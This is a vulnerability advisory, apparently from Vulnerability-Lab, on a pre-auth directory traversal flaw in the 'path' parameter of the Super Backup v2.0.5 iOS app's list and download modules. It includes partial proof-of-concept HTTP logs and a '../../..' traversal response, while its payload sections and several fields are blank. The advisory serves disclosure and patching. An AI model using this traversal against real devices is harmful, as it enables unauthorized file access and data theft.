Super Backup 2.0.5 Directory Traversal

Super Backup version 2.0.5 for iOS suffers from a directory traversal vulnerability.

MD5 | dcba32401441371be6040dab9d02f9ae

Document Title:
Super Backup v2.0.5 iOS - Directory Traversal Vulnerability

References (Source):

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Vulnerability Class:
Directory- or Path-Traversal

Current Estimated Price:
1.000€ - 2.000€

Product & Service Introduction:
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Abstract Advisory Information:
The vulnerability laboratory core research team discovered a directory traversal vulnerability in the official SuperBackup v2.0.5 ios mobile application.

Affected Product(s):
Dropouts Technologies LLP
Product: Super Backup v2.0.5

Vulnerability Disclosure Timeline:
2020-04-30: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Exploitation Technique:

Severity Level:

Authentication Type:
Pre Auth (No Privileges or Session)

User Interaction:
No User Interaction

Disclosure Type:
Full Disclosure

Technical Details & Description:
A directory traversal web vulnerability has been discovered in the official Super Backup v2.0.5 ios mobile web-application.
The vulnerability allows remote attackers to change the application path in performed requests to compromise the local application
or file-system of a mobile device. Attackers are for example able to request environment variables or a sensitive system path.

The directory-traversal web vulnerability in the app is located in the `list` and `download` module with the `path` parameter.
Attackers are able to change the path variable to request the local list command. By changing the path parameter the validation
mechanism runs into a logic error that turns back the possibility to request different pathes outside the basic import/export
folder. Thus way the attacker injects for example local path environment varibales to compromise the local ios web-application.

Exploitation of the directory traversal web vulnerability requires no privileged web-application user account or user interaction.
Successful exploitation of the vulnerability results in information leaking by unauthorized file access and mobile application compromise.

Proof of Concept (PoC):
The directory traversal vulnerability can be exploited by attackers with access to the wifi interface in a local network without user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

PoC: Payloads

PoC: Exploitation

--- PoC Session Logs [GET]] ---
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
GET: HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Length: 174
Content-Type: application/json
Connection: Close
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
Upgrade-Insecure-Requests: 1
GET: HTTP/1.1 200 OK
Content-Length: 174
Content-Type: application/json
Connection: Close
Opening the url allows to download the list file json with content path output
[{"path":"../../../../../../../../../../../../ "size":21961}]


Solution - Fix & Patch:
The vulnerability can be patched by a restriction of the requested path parameters with the list and download module.

Credits & Authors:
Vulnerability-Lab -
Benjamin Kunz Mejri -

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